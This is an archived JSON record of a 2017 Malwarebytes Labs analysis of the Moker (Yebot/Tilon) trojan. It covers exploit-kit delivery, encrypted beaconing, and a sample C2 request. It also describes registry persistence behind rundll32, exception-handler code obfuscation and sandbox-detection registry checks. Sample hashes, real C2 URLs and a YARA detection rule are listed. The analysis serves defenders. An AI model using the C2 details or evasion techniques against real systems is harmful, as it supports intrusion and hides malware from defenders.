{
	"id": "dc114dc7-6b29-4748-9105-0398230f41d2",
	"created_at": "2026-04-06T00:10:32.864606Z",
	"updated_at": "2026-04-10T03:21:50.254626Z",
	"deleted_at": null,
	"sha1_hash": "3c319a57ce7366932b8f003eae31bd7c05c8f8e6",
	"title": "Elusive Moker Trojan is back | Malwarebytes Labs",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 721369,
	"plain_text": "Elusive Moker Trojan is back | Malwarebytes Labs\r\nBy Malwarebytes Labs\r\nPublished: 2017-04-20 · Archived: 2026-04-05 19:45:00 UTC\r\nUPDATE: This trojan is also known under the names Yebot and Tilon. According to Dr Web, this family is in\r\ncirculation from at least 2012. It was first described under the name Moker by Ensilo, in 2015. //thanks to\r\n@kafeine for the tip\r\nSome time ago we observed a rare, interesting malware dropped from the Rig-v EK. Its code was depicting that it\r\nis written by professionals. Research has shown that it is a sample of Moker Trojan (read more here). However,\r\nfor a long time, we could not find a sample with working CnC in order to do a deeper research. Finally, we found\r\nsuch a sample – this article will be a deep dive in its capabilities.\r\nAnalyzed samples\r\n76987e1882ef27faab675c4a5ce4248d – main sample – dropped by EK (April 2017)\r\nf961bf2d0504e376b3305e9d06f66de3 – the main module – DLL (stage 2)\r\ne63913d6d389a6bc5f2aa4036717ac27 – main sample (dropped by EK)\r\n4d9f5048e225e8b4dd5feb8ec489e483 – unpacked payload (stage 1)\r\nDownloaded modules:\r\n8997b9365c697e757f5a4717ec36fb2d – pluginj382dew1i.exe\r\nfaf2135dc5311b034d31191694a52bbd – KB1080030.exe\r\nReference samples (from 2015)\r\n9bdd2e72708584c9fd6761252c9b0fb8 – sample #1\r\n5f005beb917acfeb28e0a410909e6d6b – sample #2\r\n650ce9e81d7f86660e2d37cbde8f160a – unpacked Stage 1\r\nDistribution method\r\nWe found Moker Trojan distributed via exploit kits – in malvertising campaigns, as well as dropped from the\r\nhacked sites. Example – Rig-v EK dropping Moker:\r\nBehavioral analysis\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 1 of 20\n\nThe malware injects itself into the svchost, and then contacts the CnC server.\r\nNetwork communication\r\nThe communication is encrypted. The typical way of beaconing is to send the request to the address:\r\n.php?img= An example of the sent request:\r\nGET /nnnn04722.php?img=1 HTTP/1.1 User-Agent: Mozilla Host: bitmixc.ml\r\n“\u003e\r\nThe server responds with encrypted content (the bot saves it in a registry key). Then it injects itself in other\r\napplications and sends further requests, including the data of the infected machine, i.e.:\r\nGET /nnnn04722.php?page=_\u0026s=p=.\u0026err=.\r\nIn the below case, the response turned out to be a PE file (an updated version of the bot) obfuscated by XOR with\r\na character ‘c’.\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 2 of 20\n\nThe server responds either by sending some encrypted content or a number:\r\n=\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 3 of 20\n\nPersistence\r\nMoker achieves its persistence by adding a Run key in the registry. This method may look very simple at first.\r\nHowever, the authors of the malware hid the real executable behind a legitimate Microsoft application –\r\nRundl32.exe. Thanks to this trick, it is much harder to notice it – a popular tool used to examine persistent\r\napplications, Sysinternals’ autoruns, does not show such keys by default, assuming that they are harmless.\r\n(Viewing them can be enabled by clearing the default option “Hide Windows Entries”.)\r\nThe sample of Moker is dropped in the current user’s home directory:\r\nIf we take a closer look at the sample, we can see that it has been slightly modified in comparison to the original\r\none – some encrypted information has been removed:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 4 of 20\n\nAs it turned out after the further research (see in the part “Inside”), those bytes contains the CnC address, prefixed\r\nby a special tag. The information removed from the executable is not lost but stored elsewhere – in one of the\r\nregistry keys created for storing the malware configuration.\r\nOther keys created by the malware are saved under “..CLSID{448D3B34-8D3B-3B34-8D3B-48D3448D3B34}”:\r\nThe full dump of the registry entries is available here.\r\nAs it turned out, the encrypted CnC address, that was removed from the executable, is persisted in  the registry,\r\ninside the key “5”:\r\nCompare with the data from inside the original sample:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 5 of 20\n\nAnother key, “6”, stores a PE file (the executable dumped from the registry is available here:\r\n91f754c3fc475aed93e80575bb503c73).\r\nThe key “7” stores the data that was downloaded from the CnC after the initial beacon:\r\nCompare with the content of the server response:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 6 of 20\n\nThe key “10” contains the name of the downloaded module:\r\nThe new module is stored in ProgramData:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 7 of 20\n\nIts persistence is added also with the help of a Run key (in a similar way as the previously described case):\r\nInside\r\nMoker consists of two main modules. The Stage 1, that is a downloader, and the Stage 2, that is a\r\nDLL containing the core malicious features. The downloader injects itself, along with the unpacked\r\nshellcode, into the svchost.exe. The screenshot below shows an example of the infected memory\r\npages inside the svchost.exe:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 8 of 20\n\nThe injected shellcode is responsible for sending the initial beacon to the CnC. Then, if the CnC is active, the\r\nmain DLL is downloaded and injected into the other processes. During the tests, all 32-bit applications running in\r\nthe Medium integrity mode have been infected by the Moker DLL.\r\nStage 1\r\nLet’s dive in the code, starting from the dropper – that is the Stage 1. This is the binary used for initiating the full\r\ninfection process – originally delivered by exploit kits. Every sample comes packed by some crypter (crypters are\r\ndifferent for various samples so we will not describe this layer here).\r\nAfter defeating a stub of a crypter, we get another PE file – with a layout typical for Moker. The section .text, that\r\n– in normal cases is the first section of PE, in case of Moker comes as second:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 9 of 20\n\nSection .data is very small in the raw file, but it is expanding in the virtual image. So, we can suspect that\r\nsomething more is unpacked there:\r\nObfuscated execution flow\r\nThe internal structure of this module is very interesting. It has self-modifying code with execution based on VEH\r\n(Vectored Exception Handers). Execution starts from installing the handler:\r\nInstructions IN are used in various places in the code. Their role is to disrupt the continuity of the execution by\r\ntriggering an exception. Then, execution is redirected to the previously installed handler. Depending on the variant\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 10 of 20\n\nof the instruction that triggered the exception, the context is changed in one of the few ways:\r\nContext patching is used to obfuscate the execution flow. Thanks to this trick, static analysis of the code is almost\r\nimpossible – all changes on the fly.\r\nThe JMP EAX (first case in the exception handler) is used to deploy API calls. It is triggered by IN AL, (see the\r\nexample below):\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 11 of 20\n\nThat’s why, if we trace the API calls made by the application, we can notice that most of them are made from the\r\nsame address in the code – only the target address is changing.\r\nNot only the execution flow but also the code itself is dynamically modified. We can find the application calling\r\nvery often VirtualAlloc:\r\nSome pieces of the encrypted code are copied from the main executable into this dynamically allocated memory:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 12 of 20\n\nThen, they are decrypted by a dedicated function:\r\nThe revealed code is almost ready – except for the addresses of calls, that needs to be filled. You can see in the\r\nfollowing fragment, that temporarily the CALL points to its own address:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 13 of 20\n\nThis is fixed in another step – the decoding function returns into another code fragment, that modifies the\r\naddresses:\r\nTill the new piece of code is fully revealed and ready to be called (see the fixed CALL target):\r\nWhen the modifying function returns, execution falls into the line that performs a jump into the new code:\r\nThe revealed code makes another layer – again allocating, decrypting and calling code.\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 14 of 20\n\nThe code chunks that provide some real functionality are always deployed via this type of proxy – that makes\r\nexecution flow more complicated.\r\nFunctionality\r\nThe dropper starts execution from the defensive checks, ensuring that it is not run in the controlled environment.\r\nThe following registry keys are searched:\r\n\"HKEY_LOCAL_MACHINE\\HARDWARE\\ACPI\\DSDT\\VBOX__\" \"HKEY_CURRENT_USER\\Software\\Trusteer\\Rapport\" \"HKEY_LO\r\nIf all the checks passed, the application reads it’s own file from the disk and searches there for some typical\r\nmarkers. An example of the search:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 15 of 20\n\nThe important thing is, those markers are present in the outermost layer – the original PE file (not the unpacked\r\none). Thanks to this feature, knowing them allowed to create a very simple YARA rule to identify Moker:\r\nrule MokerTrojan { strings: $key = {3D FF 24 8B 92 C1 D6 9D}\r\nThe mentioned markers are used as indicators, after which the encrypted CnC address is stored.\r\nAnother feature, typical for Moker is mutex in the following format:\r\n\"Global\\a0bp-\"\r\nThe mutex prevents the application from being run more than once.\r\nAfter the environment checks are passed, Moker unpacks the shellcode, that has capabilities of a downloader, and\r\ninjects it (along with the initial PE file) into svchost.\r\nStage 2\r\nIf the main DLL was successfully downloaded by the Stage 1, it is being further injected in the applications.\r\nExample – Moker DLL injected into jusched (Java Update Scheduler):\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 16 of 20\n\nThis module is responsible for all the malicious actions performed by the malware – also, it actively\r\ncommunicates with its CnC. Below you can see a sample POST request sent from inside the injected DLL:\r\nIf we try to dump the injected DLL, we can see, that it’s imported table has been destroyed – all the names of the\r\nDLLs and imported functions are erased. However, using a dedicated tool I was able to recover it (see more here).\r\nThe DLL provides various features typical for RAT (they didn’t chang from the latest analysis in 2015, provided\r\nhere).\r\nCode of the core DLL is written in a decent way, suggesting professionalism of the authors. However in contrary\r\nto the dropper, the obfuscation used here is rather simple. Most of the strings and API calls are not obfuscated, or\r\nobfuscated in a trivial way.\r\nLooking inside the code, we can see references to the registry keys, observed during behavioral analysis, i.e.:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 17 of 20\n\nThe DLL communicates not only with the CnC, but also with it’s other injected modules, using local sockets and\r\nnamed pipes. An example below – starting a local socket for listening:\r\nThe commands read from the ipe are parsed and executed:\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 18 of 20\n\nBasing on the command id, malware can be requested over pipe to execute some command or to create and save a\r\nscreenshot:\r\nAmong the interesting features of this part is, it also provides access to it’s features via simple GUI. It may be\r\nused for local tests, or. in case if the attackers prefer to access the victim machine via Remote Desktop.\r\nCnC servers\r\nList of the found CnC servers (one address per one sample):\r\nhttp://bitmixc.ml/nnnn04722.php http://bitmixc.ml/msnwiwoq25.php http://matthi.tk/abb6a3\r\nConclusion\r\nMoker is a rare malware, but written by very skilled authors. Compilation timestamp of the core\r\nmodule is 2015-05-03 00:40:11. This suggests that since its moment of appearance, still the same\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 19 of 20\n\nsamples are in circulation, only they are repacked by different packers. This fact leads us to the\r\nconclusion that the tool have been produced and sold on black market in 2015, after that possibly\r\nabandoned by the original developers.\r\nAppendix\r\nhttps://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/ – part 1\r\nhttps://breakingmalware.com/malware/moker-part-2-capabilities/ –  part 2\r\nhttp://www.msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-extensions – deobfuscating Yebot\r\nThis was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest\r\nin InfoSec. She loves going in details about malware and sharing threat information with the community. Check\r\nher out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com.\r\nSource: https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nhttps://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/"
	],
	"report_names": [
		"elusive-moker-trojan"
	],
	"threat_actors": [],
	"ts_created_at": 1775434232,
	"ts_updated_at": 1775791310,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3c319a57ce7366932b8f003eae31bd7c05c8f8e6.pdf",
		"text": "https://archive.orkl.eu/3c319a57ce7366932b8f003eae31bd7c05c8f8e6.txt",
		"img": "https://archive.orkl.eu/3c319a57ce7366932b8f003eae31bd7c05c8f8e6.jpg"
	}
}